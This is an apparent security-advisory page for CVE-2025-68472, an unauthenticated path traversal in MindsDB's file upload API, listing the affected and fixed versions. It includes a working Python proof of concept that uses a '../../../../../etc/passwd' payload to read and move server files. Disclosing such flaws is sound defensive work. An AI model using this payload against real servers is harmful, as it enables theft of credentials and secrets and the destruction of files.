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Open-source package vulnerability · PyPI

CVE-2025-68472: MindsDB has improper sanitation of filepath that leads to information disclosure and DOS

highCVSS 3.1 8.1GHSA-qqhf-pm3j-96g7

Summary BlueRock discovered an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data. Details The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and sourcetype is not "url": - data = request.json (line ~104) accepts attacker…

Published Jan 12, 2026 · Updated Jun 6, 2026

Affected packages

MindsDB

Ecosystem
PyPI
Affected
< 25.11.1
Fixed in
25.11.1
Check
pip show MindsDB

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

BlueRock discovered an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data.

Details

The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and source_type is not "url":

  • data = request.json (line ~104) accepts attacker input without validation.
  • file_path = os.path.join(temp_dir_path, data["file"]) (line ~178) creates the path inside a temporary directory, but if data["file"] is absolute (e.g., /home/secret.csv), os.path.join ignores temp_dir_path and targets the attacker-specified location.
  • The resulting path is handed to ca.file_controller.save_file(...), which wraps FileReader(path=source_path) (mindsdb/interfaces/file/file_controller.py:66), causing the application to read the contents of that arbitrary file. The subsequent shutil.move(file_path, ...) call also relocates the victim file into MindsDB’s managed storage.

Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to clear_filename or equivalent checks.

PoC

  1. Run MindsDB in Docker: ``bash docker pull mindsdb/mindsdb:latest docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest ``
  2. Execute the exploit from the host (save as poc.py and run with python poc.py): ```python # poc.py import requests, json

base = "http://127.0.0.1:47334" payload = {"file": "../../../../../etc/passwd"} # no source_type -> hits vulnerable branch

r = requests.put(f"{base}/api/files/leak_rel", json=payload, timeout=10) print("PUT status:", r.status_code, r.text)

q = requests.post( f"{base}/api/sql/query", json={"query": "SELECT * FROM files.leak_rel"}, timeout=10, ) print("SQL response:", json.dumps(q.json(), indent=2))

3. The SQL response returns the contents of `/etc/passwd` . The original file disappears from its source location because the handler moves it into MindsDB’s storage directory.
4. Detailed report is available on BlueRock's blog: https://www.bluerock.io/post/cve-2025-68472-mindsdb-file-upload-path-traversal

### Impact
- Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.

Credited to locus-x64.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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